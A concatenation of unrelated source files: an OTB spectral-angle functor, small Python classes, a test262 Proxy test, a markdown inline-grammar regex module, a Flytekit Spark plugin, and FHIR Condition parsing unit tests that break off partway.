#include "otbSpectralAngleFunctor.h"
#include "itkMacro.h"
namespace otb
{
namespace Functor
{
/** \class SqrtSpectralAngleFunctor
* \brief This functor computes the square root of a spectral angle according to a reference pixel.
*
* \ingroup OTBImageManipulation
*/
template <class TInputVectorPixel, class TOutputPixel>
class SqrtSpectralAngleFunctor : public SpectralAngleFunctor<TInputVectorPixel, TOutputPixel>
{
public:
typedef SqrtSpectralAngleFunctor Self;
typedef SpectralAngleFunctor<TInputVectorPixel, TOutputPixel> Superclass;
SqrtSpectralAngleFunctor()
{
}
~SqrtSpectralAngleFunctor() override
{
}
protected:
TOutputPixel Evaluate(const TInputVectorPixel& inPix) const override
{
return static_cast<TOutputPixel>(std::sqrt(Superclass::Evaluate(inPix)));
}
};
} // end namespace Functor
} // end namespace otb
#ifndef OTB_MANUAL_INSTANTIATION
#endif
#endif
|
from dataclasses import dataclass
from dataclasses import field
@dataclass()
class Contador:
comeca: str
termina: str = field(repr=False) # Não mostrará o termina quando eu der print na instância
c1 = Contador(1, 21)
print(c1)
|
from abc import ABC, abstractmethod
class Module(ABC):
instances = [] # list of all instances
def __init__(self):
super().__init__()
self.cmd_map = {} # (str)name : (func)function
self.name = None
self.version = None
self.author = None
self.update = None
self.skype = None
self.current_event = None
self.needs_skype = True
Module.instances.append(self)
self.register_cmd("help", self.help)
self.register_cmd("info", self.get_info)
@staticmethod
def get_instance():
pass
@abstractmethod
def help(self):
pass
def set_event(self, event):
self.current_event = event
def get_info(self):
print("\nName: " + self.name + "\nAuthor: " + self.author
+ "\nLast Update: " + self.update + "\nVersion: " + self.version)
return "\nName: " + self.name + "\nAuthor: " + self.author \
+ "\nLast Update: " + self.update + "\nVersion: " + self.version
def set_info(self, name, author, update, version):
self.name = name
self.author = author
self.update = update
self.version = version
def set_name(self, name):
self.name = name
def set_skype(self, skype):
self.skype = skype
def register_cmd(self, cmd, func):
self.cmd_map.update({cmd: func})
def exec(self, cmd, arg=None):
func = self.cmd_map[cmd]
if arg is None:
return func()
elif hasattr(arg, "__iter__"): # is iterable
return func(*arg)
else:
return func(arg)
|
load("bf4b12814bc95f34eeb130127d8438ab.js");
load("93fae755edd261212639eed30afa2ca4.js");
// Copyright (C) 2015 the V8 project authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
es6id: 9.5.15
description: >
Proxy ( target, handler )
...
3. If Type(handler) is not Object, throw a TypeError exception.
...
---*/
assert.throws(TypeError, function() {
new Proxy({}, 0);
});
|
import { replace, noop } from './utils'
/**
* Inline-Level Grammar
*/
/* eslint-disable no-useless-escape */
const inline = {
escape: /^\\([\\`*{}\[\]()#+\-.!_>])/,
autolink: /^<([^ >]+(@|:\/)[^ >]+)>/,
url: noop,
tag: /^<!--[\s\S]*?-->|^<\/?\w+(?:"[^"]*"|'[^']*'|[^'">])*?>/,
link: /^!?\[(inside)\]\(href\)/,
reflink: /^!?\[(inside)\]\s*\[([^\]]*)\]/,
nolink: /^!?\[((?:\[[^\]]*\]|[^\[\]])*)\]/,
math: /^\$([\s\S]+?)\$(?!\$)/,
strong: /^__([\s\S]+?)__(?!_)|^\*\*([\s\S]+?)\*\*(?!\*)/,
em: /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/,
code: /^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/,
br: /^ {2,}\n(?!\s*$)/,
del: noop,
text: /^[\s\S]+?(?=[\\<!\[_*`\$]| {2,}\n|$)/
}
inline._inside = /(?:\[[^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*/
inline._href = /\s*<?([\s\S]*?)>?(?:\s+['"]([\s\S]*?)['"])?\s*/
inline.link = replace(inline.link)('inside', inline._inside)('href', inline._href)()
inline.reflink = replace(inline.reflink)('inside', inline._inside)()
/**
* Normal Inline Grammar
*/
export const normal = Object.assign({}, inline)
/**
* Pedantic Inline Grammar
*/
export const pedantic = Object.assign({}, normal, {
strong: /^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/,
em: /^_(?=\S)([\s\S]*?\S)_(?!_)|^\*(?=\S)([\s\S]*?\S)\*(?!\*)/
})
/**
* GFM Inline Grammar
*/
export const gfm = Object.assign({}, normal, {
escape: replace(inline.escape)('])', '~|])')(),
url: /^(https?:\/\/[^\s<]+[^<.,:;"')\]\s])/,
del: /^~~(?=\S)([\s\S]*?\S)~~/,
text: replace(inline.text)(']|', '~]|')('|', '|https?://|')()
})
/**
* GFM + Line Breaks Inline Grammar
*/
export const breaks = Object.assign({}, gfm, {
br: replace(inline.br)('{2,}', '*')(),
text: replace(gfm.text)('{2,}', '*')()
})
/* eslint-ensable no-useless-escape */
|
import os
import typing
from dataclasses import dataclass
from typing import Any, Callable, Dict, Optional
from google.protobuf.json_format import MessageToDict
from flytekit import FlyteContext, PythonFunctionTask
from flytekit.common.tasks.sdk_runnable import ExecutionParameters
from flytekit.extend import ExecutionState, SerializationSettings, TaskPlugins
from flytekit.models import task as _task_model
from flytekit.sdk.spark_types import SparkType
@dataclass
class Spark(object):
"""
Use this to configure a SparkContext for a your task. Task's marked with this will automatically execute
natively onto K8s as a distributed execution of spark
Args:
spark_conf: Dictionary of spark config. The variables should match what spark expects
hadoop_conf: Dictionary of hadoop conf. The variables should match a typical hadoop configuration for spark
"""
spark_conf: Optional[Dict[str, str]] = None
hadoop_conf: Optional[Dict[str, str]] = None
def __post_init__(self):
if self.spark_conf is None:
self.spark_conf = {}
if self.hadoop_conf is None:
self.hadoop_conf = {}
# This method does not reset the SparkSession since it's a bit hard to handle multiple
# Spark sessions in a single application as it's described in:
# https://stackoverflow.com/questions/41491972/how-can-i-tear-down-a-sparksession-and-create-a-new-one-within-one-application.
def new_spark_session(name: str, conf: typing.Dict[str, str] = None):
"""
Optionally creates a new spark session and returns it.
In cluster mode (running in hosted flyte, this will disregard the spark conf passed in)
This method is safe to be used from any other method. That is one reason why, we have duplicated this code
fragment with the pre-execute. For example in the notebook scenario we might want to call it from a separate kernel
"""
import pyspark as _pyspark
# We run in cluster-mode in Flyte.
# Ref https://github.com/lyft/flyteplugins/blob/master/go/tasks/v1/flytek8s/k8s_resource_adds.go#L46
sess_builder = _pyspark.sql.SparkSession.builder.appName(f"FlyteSpark: {name}")
if "FLYTE_INTERNAL_EXECUTION_ID" not in os.environ and conf is not None:
# If either of above cases is not true, then we are in local execution of this task
# Add system spark-conf for local/notebook based execution.
sess_builder = sess_builder.master("local[*]")
spark_conf = _pyspark.SparkConf()
for k, v in conf.items():
spark_conf.set(k, v)
spark_conf.set("spark.driver.bindAddress", "127.0.0.1")
# In local execution, propagate PYTHONPATH to executors too. This makes the spark
# execution hermetic to the execution environment. For example, it allows running
# Spark applications using Bazel, without major changes.
if "PYTHONPATH" in os.environ:
spark_conf.setExecutorEnv("PYTHONPATH", os.environ["PYTHONPATH"])
sess_builder = sess_builder.config(conf=spark_conf)
# If there is a global SparkSession available, get it and try to stop it.
_pyspark.sql.SparkSession.builder.getOrCreate().stop()
return sess_builder.getOrCreate()
# SparkSession.Stop does not work correctly, as it stops the session before all the data is written
# sess.stop()
class PysparkFunctionTask(PythonFunctionTask[Spark]):
"""
Actual Plugin that transforms the local python code for execution within a spark context
"""
_SPARK_TASK_TYPE = "spark"
def __init__(self, task_config: Spark, task_function: Callable, **kwargs):
super(PysparkFunctionTask, self).__init__(
task_config=task_config,
task_type=self._SPARK_TASK_TYPE,
task_function=task_function,
**kwargs,
)
self.sess = None
def get_custom(self, settings: SerializationSettings) -> Dict[str, Any]:
job = _task_model.SparkJob(
spark_conf=self.task_config.spark_conf,
hadoop_conf=self.task_config.hadoop_conf,
application_file="local://" + settings.entrypoint_settings.path if settings.entrypoint_settings else "",
executor_path=settings.python_interpreter,
main_class="",
spark_type=SparkType.PYTHON,
)
return MessageToDict(job.to_flyte_idl())
def pre_execute(self, user_params: ExecutionParameters) -> ExecutionParameters:
import pyspark as _pyspark
ctx = FlyteContext.current_context()
sess_builder = _pyspark.sql.SparkSession.builder.appName(f"FlyteSpark: {user_params.execution_id}")
if not (ctx.execution_state and ctx.execution_state.Mode == ExecutionState.Mode.TASK_EXECUTION):
# If either of above cases is not true, then we are in local execution of this task
# Add system spark-conf for local/notebook based execution.
spark_conf = _pyspark.SparkConf()
for k, v in self.task_config.spark_conf.items():
spark_conf.set(k, v)
# In local execution, propagate PYTHONPATH to executors too. This makes the spark
# execution hermetic to the execution environment. For example, it allows running
# Spark applications using Bazel, without major changes.
if "PYTHONPATH" in os.environ:
spark_conf.setExecutorEnv("PYTHONPATH", os.environ["PYTHONPATH"])
sess_builder = sess_builder.config(conf=spark_conf)
self.sess = sess_builder.getOrCreate()
return user_params.builder().add_attr("SPARK_SESSION", self.sess).build()
# Inject the Spark plugin into flytekits dynamic plugin loading system
TaskPlugins.register_pythontask_plugin(Spark, PysparkFunctionTask)
|
# -*- coding: utf-8 -*-
from datetime import date
from decimal import Decimal
from .. import fhirtypes # noqa: F401
from .. import condition
def test_Condition_1(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f001-heart.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_1(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_1(inst2)
def impl_Condition_1(inst):
assert inst.asserter.display == "P. van de Heuvel"
assert inst.asserter.reference == "Patient/f001"
assert inst.bodySite[0].coding[0].code == "40768004"
assert inst.bodySite[0].coding[0].display == "Left thorax"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.bodySite[0].text == "heart structure"
assert inst.category.coding[0].code == "439401001"
assert inst.category.coding[0].display == "diagnosis"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "368009"
assert inst.code.coding[0].display == "Heart valve disorder"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2011, 10, 5)
assert inst.encounter.reference == "Encounter/f001"
assert inst.evidence[0].code.coding[0].code == "426396005"
assert inst.evidence[0].code.coding[0].display == "Cardiac chest pain"
assert inst.evidence[0].code.coding[0].system == "http://snomed.info/sct"
assert inst.id == "f001"
assert inst.onsetDateTime == date(2011, 8, 5)
assert inst.patient.display == "P. van de Heuvel"
assert inst.patient.reference == "Patient/f001"
assert inst.severity.coding[0].code == "6736007"
assert inst.severity.coding[0].display == "Moderate"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f001</p><p><b>patient</b>: <a>P. van de Heuvel</a></p><p><b>encounter</b>: <a>Encounter/f001</a></p><p><b>asserter</b>: <a>P. van de Heuvel</a></p><p><b>dateRecorded</b>: 05/10/2011</p><p><b>code</b>: Heart valve disorder <span>(Details : {SNOMED CT code '368009' = '368009', given as 'Heart valve disorder'})</span></p><p><b>category</b>: diagnosis <span>(Details : {SNOMED CT code '439401001' = '439401001', given as 'diagnosis'})</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Moderate <span>(Details : {SNOMED CT code '6736007' = '6736007', given as 'Moderate'})</span></p><p><b>onset</b>: 05/08/2011</p><h3>Evidences</h3><table><tr><td>-</td><td><b>Code</b></td></tr><tr><td>*</td><td>Cardiac chest pain <span>(Details : {SNOMED CT code '426396005' = '426396005', given as 'Cardiac chest pain'})</span></td></tr></table><p><b>bodySite</b>: heart structure <span>(Details : {SNOMED CT code '40768004' = '40768004', given as 'Left thorax'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_2(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f002-lung.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_2(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_2(inst2)
def impl_Condition_2(inst):
assert inst.asserter.display == "P. van de Heuvel"
assert inst.asserter.reference == "Patient/f001"
assert inst.bodySite[0].coding[0].code == "51185008"
assert inst.bodySite[0].coding[0].display == "Thorax"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "439401001"
assert inst.category.coding[0].display == "diagnosis"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "254637007"
assert inst.code.coding[0].display == "NSCLC - Non-small cell lung cancer"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2012, 6, 3)
assert inst.encounter.reference == "Encounter/f002"
assert inst.evidence[0].code.coding[0].code == "169069000"
assert inst.evidence[0].code.coding[0].display == "CT of thorax"
assert inst.evidence[0].code.coding[0].system == "http://snomed.info/sct"
assert inst.id == "f002"
assert inst.onsetDateTime == date(2011, 5, 5)
assert inst.patient.display == "P. van de Heuvel"
assert inst.patient.reference == "Patient/f001"
assert inst.severity.coding[0].code == "24484000"
assert inst.severity.coding[0].display == "Severe"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert inst.stage.summary.coding[0].code == "258219007"
assert inst.stage.summary.coding[0].display == "stage II"
assert inst.stage.summary.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f002</p><p><b>patient</b>: <a>P. van de Heuvel</a></p><p><b>encounter</b>: <a>Encounter/f002</a></p><p><b>asserter</b>: <a>P. van de Heuvel</a></p><p><b>dateRecorded</b>: 03/06/2012</p><p><b>code</b>: NSCLC - Non-small cell lung cancer <span>(Details : {SNOMED CT code '254637007' = '254637007', given as 'NSCLC - Non-small cell lung cancer'})</span></p><p><b>category</b>: diagnosis <span>(Details : {SNOMED CT code '439401001' = '439401001', given as 'diagnosis'})</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Severe <span>(Details : {SNOMED CT code '24484000' = '24484000', given as 'Severe'})</span></p><p><b>onset</b>: 05/05/2011</p><h3>Stages</h3><table><tr><td>-</td><td><b>Summary</b></td></tr><tr><td>*</td><td>stage II <span>(Details : {SNOMED CT code '258219007' = '258219007', given as 'stage II'})</span></td></tr></table><h3>Evidences</h3><table><tr><td>-</td><td><b>Code</b></td></tr><tr><td>*</td><td>CT of thorax <span>(Details : {SNOMED CT code '169069000' = '169069000', given as 'CT of thorax'})</span></td></tr></table><p><b>bodySite</b>: Thorax <span>(Details : {SNOMED CT code '51185008' = '51185008', given as 'Thorax'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_3(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f003-abscess.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_3(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_3(inst2)
def impl_Condition_3(inst):
assert inst.asserter.display == "P. van de Heuvel"
assert inst.asserter.reference == "Patient/f001"
assert inst.bodySite[0].coding[0].code == "280193007"
assert inst.bodySite[0].coding[0].display == "Entire retropharyngeal area"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "439401001"
assert inst.category.coding[0].display == "diagnosis"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "18099001"
assert inst.code.coding[0].display == "Retropharyngeal abscess"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2012, 2, 20)
assert inst.encounter.reference == "Encounter/f003"
assert inst.evidence[0].code.coding[0].code == "169068008"
assert inst.evidence[0].code.coding[0].display == "CT of neck"
assert inst.evidence[0].code.coding[0].system == "http://snomed.info/sct"
assert inst.id == "f003"
assert inst.onsetDateTime == date(2012, 2, 27)
assert inst.patient.display == "P. van de Heuvel"
assert inst.patient.reference == "Patient/f001"
assert inst.severity.coding[0].code == "371923003"
assert inst.severity.coding[0].display == "Mild to moderate"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f003</p><p><b>patient</b>: <a>P. van de Heuvel</a></p><p><b>encounter</b>: <a>Encounter/f003</a></p><p><b>asserter</b>: <a>P. van de Heuvel</a></p><p><b>dateRecorded</b>: 20/02/2012</p><p><b>code</b>: Retropharyngeal abscess <span>(Details : {SNOMED CT code '18099001' = '18099001', given as 'Retropharyngeal abscess'})</span></p><p><b>category</b>: diagnosis <span>(Details : {SNOMED CT code '439401001' = '439401001', given as 'diagnosis'})</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Mild to moderate <span>(Details : {SNOMED CT code '371923003' = '371923003', given as 'Mild to moderate'})</span></p><p><b>onset</b>: 27/02/2012</p><h3>Evidences</h3><table><tr><td>-</td><td><b>Code</b></td></tr><tr><td>*</td><td>CT of neck <span>(Details : {SNOMED CT code '169068008' = '169068008', given as 'CT of neck'})</span></td></tr></table><p><b>bodySite</b>: Entire retropharyngeal area <span>(Details : {SNOMED CT code '280193007' = '280193007', given as 'Entire retropharyngeal area'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_4(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f201-fever.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_4(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_4(inst2)
def impl_Condition_4(inst):
assert inst.asserter.reference == "Practitioner/f201"
assert inst.bodySite[0].coding[0].code == "38266002"
assert inst.bodySite[0].coding[0].display == "Entire body as a whole"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "55607006"
assert inst.category.coding[0].display == "Problem"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[1].code == "finding"
assert inst.category.coding[1].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "386661006"
assert inst.code.coding[0].display == "Fever"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2013, 4, 4)
assert inst.encounter.reference == "Encounter/f201"
assert inst.evidence[0].code.coding[0].code == "258710007"
assert inst.evidence[0].code.coding[0].display == "degrees C"
assert inst.evidence[0].code.coding[0].system == "http://snomed.info/sct"
assert inst.evidence[0].detail[0].display == "Temperature"
assert inst.evidence[0].detail[0].reference == "Observation/f202"
assert inst.id == "f201"
assert inst.onsetDateTime == date(2013, 4, 2)
assert inst.patient.display == "Roel"
assert inst.patient.reference == "Patient/f201"
assert inst.severity.coding[0].code == "255604002"
assert inst.severity.coding[0].display == "Mild"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f201</p><p><b>patient</b>: <a>Roel</a></p><p><b>encounter</b>: <a>Encounter/f201</a></p><p><b>asserter</b>: <a>Practitioner/f201</a></p><p><b>dateRecorded</b>: 04/04/2013</p><p><b>code</b>: Fever <span>(Details : {SNOMED CT code '386661006' = '386661006', given as 'Fever'})</span></p><p><b>category</b>: Problem <span>(Details : {SNOMED CT code '55607006' = '55607006', given as 'Problem'}; {http://hl7.org/fhir/condition-category code 'finding' = 'Finding)</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Mild <span>(Details : {SNOMED CT code '255604002' = '255604002', given as 'Mild'})</span></p><p><b>onset</b>: 02/04/2013</p><h3>Evidences</h3><table><tr><td>-</td><td><b>Code</b></td><td><b>Detail</b></td></tr><tr><td>*</td><td>degrees C <span>(Details : {SNOMED CT code '258710007' = '258710007', given as 'degrees C'})</span></td><td><a>Temperature</a></td></tr></table><p><b>bodySite</b>: Entire body as a whole <span>(Details : {SNOMED CT code '38266002' = '38266002', given as 'Entire body as a whole'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_5(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f202-malignancy.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_5(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_5(inst2)
def impl_Condition_5(inst):
assert inst.bodySite[0].coding[0].code == "361355005"
assert inst.bodySite[0].coding[0].display == "Entire head and neck"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "diagnosis"
assert inst.category.coding[0].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "363346000"
assert inst.code.coding[0].display == "Malignant neoplastic disease"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2012, 12, 1)
assert (
inst.evidence[0].detail[0].display
== "Erasmus' diagnostic report of Roel's tumor"
)
assert inst.evidence[0].detail[0].reference == "DiagnosticReport/f201"
assert inst.id == "f202"
assert inst.onsetQuantity.code == "258707000"
assert inst.onsetQuantity.system == "http://snomed.info/sct"
assert inst.onsetQuantity.unit == "years"
assert inst.onsetQuantity.value == Decimal("52")
assert inst.patient.display == "Roel"
assert inst.patient.reference == "Patient/f201"
assert inst.severity.coding[0].code == "24484000"
assert inst.severity.coding[0].display == "Severe"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f202</p><p><b>patient</b>: <a>Roel</a></p><p><b>dateRecorded</b>: 01/12/2012</p><p><b>code</b>: Malignant neoplastic disease <span>(Details : {SNOMED CT code '363346000' = '363346000', given as 'Malignant neoplastic disease'})</span></p><p><b>category</b>: Diagnosis <span>(Details : {http://hl7.org/fhir/condition-category code 'diagnosis' = 'Diagnosis)</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Severe <span>(Details : {SNOMED CT code '24484000' = '24484000', given as 'Severe'})</span></p><p><b>onset</b>: 52 years<span> (Details: SNOMED CT code 258707000 = '258707000')</span></p><h3>Evidences</h3><table><tr><td>-</td><td><b>Detail</b></td></tr><tr><td>*</td><td><a>Erasmus' diagnostic report of Roel's tumor</a></td></tr></table><p><b>bodySite</b>: Entire head and neck <span>(Details : {SNOMED CT code '361355005' = '361355005', given as 'Entire head and neck'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_6(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f203-sepsis.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_6(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_6(inst2)
def impl_Condition_6(inst):
assert inst.asserter.reference == "Practitioner/f201"
assert inst.bodySite[0].coding[0].code == "281158006"
assert inst.bodySite[0].coding[0].display == "Pulmonary vascular structure"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "55607006"
assert inst.category.coding[0].display == "Problem"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[1].code == "finding"
assert inst.category.coding[1].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "10001005"
assert inst.code.coding[0].display == "Bacterial sepsis"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2013, 3, 11)
assert inst.encounter.display == "Roel's encounter on March eleventh"
assert inst.encounter.reference == "Encounter/f203"
assert inst.evidence[0].detail[0].display == "Diagnostic report for Roel's sepsis"
assert inst.evidence[0].detail[0].reference == "DiagnosticReport/f202"
assert inst.id == "f203"
assert inst.onsetDateTime == date(2013, 3, 8)
assert inst.patient.display == "Roel"
assert inst.patient.reference == "Patient/f201"
assert inst.severity.coding[0].code == "371924009"
assert inst.severity.coding[0].display == "Moderate to severe"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f203</p><p><b>patient</b>: <a>Roel</a></p><p><b>encounter</b>: <a>Roel's encounter on March eleventh</a></p><p><b>asserter</b>: <a>Practitioner/f201</a></p><p><b>dateRecorded</b>: 11/03/2013</p><p><b>code</b>: Bacterial sepsis <span>(Details : {SNOMED CT code '10001005' = '10001005', given as 'Bacterial sepsis'})</span></p><p><b>category</b>: Problem <span>(Details : {SNOMED CT code '55607006' = '55607006', given as 'Problem'}; {http://hl7.org/fhir/condition-category code 'finding' = 'Finding)</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: confirmed</p><p><b>severity</b>: Moderate to severe <span>(Details : {SNOMED CT code '371924009' = '371924009', given as 'Moderate to severe'})</span></p><p><b>onset</b>: 08/03/2013</p><h3>Evidences</h3><table><tr><td>-</td><td><b>Detail</b></td></tr><tr><td>*</td><td><a>Diagnostic report for Roel's sepsis</a></td></tr></table><p><b>bodySite</b>: Pulmonary vascular structure <span>(Details : {SNOMED CT code '281158006' = '281158006', given as 'Pulmonary vascular structure'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_7(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f204-renal.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_7(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_7(inst2)
def impl_Condition_7(inst):
assert inst.abatementDateTime == date(2013, 3, 20)
assert inst.asserter.reference == "Practitioner/f201"
assert inst.bodySite[0].coding[0].code == "181414000"
assert inst.bodySite[0].coding[0].display == "Kidney"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[0].code == "55607006"
assert inst.category.coding[0].display == "Problem"
assert inst.category.coding[0].system == "http://snomed.info/sct"
assert inst.category.coding[1].code == "finding"
assert inst.category.coding[1].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "36225005"
assert (
inst.code.coding[0].display
== "Acute renal insufficiency specified as due to procedure"
)
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2013, 3, 11)
assert inst.encounter.display == "Roel's encounter on March eleventh"
assert inst.encounter.reference == "Encounter/f203"
assert inst.id == "f204"
assert inst.onsetDateTime == date(2013, 3, 11)
assert inst.patient.display == "Roel"
assert inst.patient.reference == "Patient/f201"
assert inst.severity.coding[0].code == "24484000"
assert inst.severity.coding[0].display == "Severe"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert inst.stage.summary.coding[0].code == "14803004"
assert inst.stage.summary.coding[0].display == "Temporary"
assert inst.stage.summary.coding[0].system == "http://snomed.info/sct"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f204</p><p><b>patient</b>: <a>Roel</a></p><p><b>encounter</b>: <a>Roel's encounter on March eleventh</a></p><p><b>asserter</b>: <a>Practitioner/f201</a></p><p><b>dateRecorded</b>: 11/03/2013</p><p><b>code</b>: Acute renal insufficiency specified as due to procedure <span>(Details : {SNOMED CT code '36225005' = '36225005', given as 'Acute renal insufficiency specified as due to procedure'})</span></p><p><b>category</b>: Problem <span>(Details : {SNOMED CT code '55607006' = '55607006', given as 'Problem'}; {http://hl7.org/fhir/condition-category code 'finding' = 'Finding)</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: differential</p><p><b>severity</b>: Severe <span>(Details : {SNOMED CT code '24484000' = '24484000', given as 'Severe'})</span></p><p><b>onset</b>: 11/03/2013</p><p><b>abatement</b>: 20/03/2013</p><h3>Stages</h3><table><tr><td>-</td><td><b>Summary</b></td></tr><tr><td>*</td><td>Temporary <span>(Details : {SNOMED CT code '14803004' = '14803004', given as 'Temporary'})</span></td></tr></table><p><b>bodySite</b>: Kidney <span>(Details : {SNOMED CT code '181414000' = '181414000', given as 'Kidney'})</span></p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "differential"
def test_Condition_8(base_settings):
filename = (
base_settings["unittest_data_dir"]
/ "condition-example-f205-infection.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_8(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_8(inst2)
def impl_Condition_8(inst):
assert inst.asserter.reference == "Practitioner/f201"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "87628006"
assert inst.code.coding[0].display == "Bacterial infectious disease"
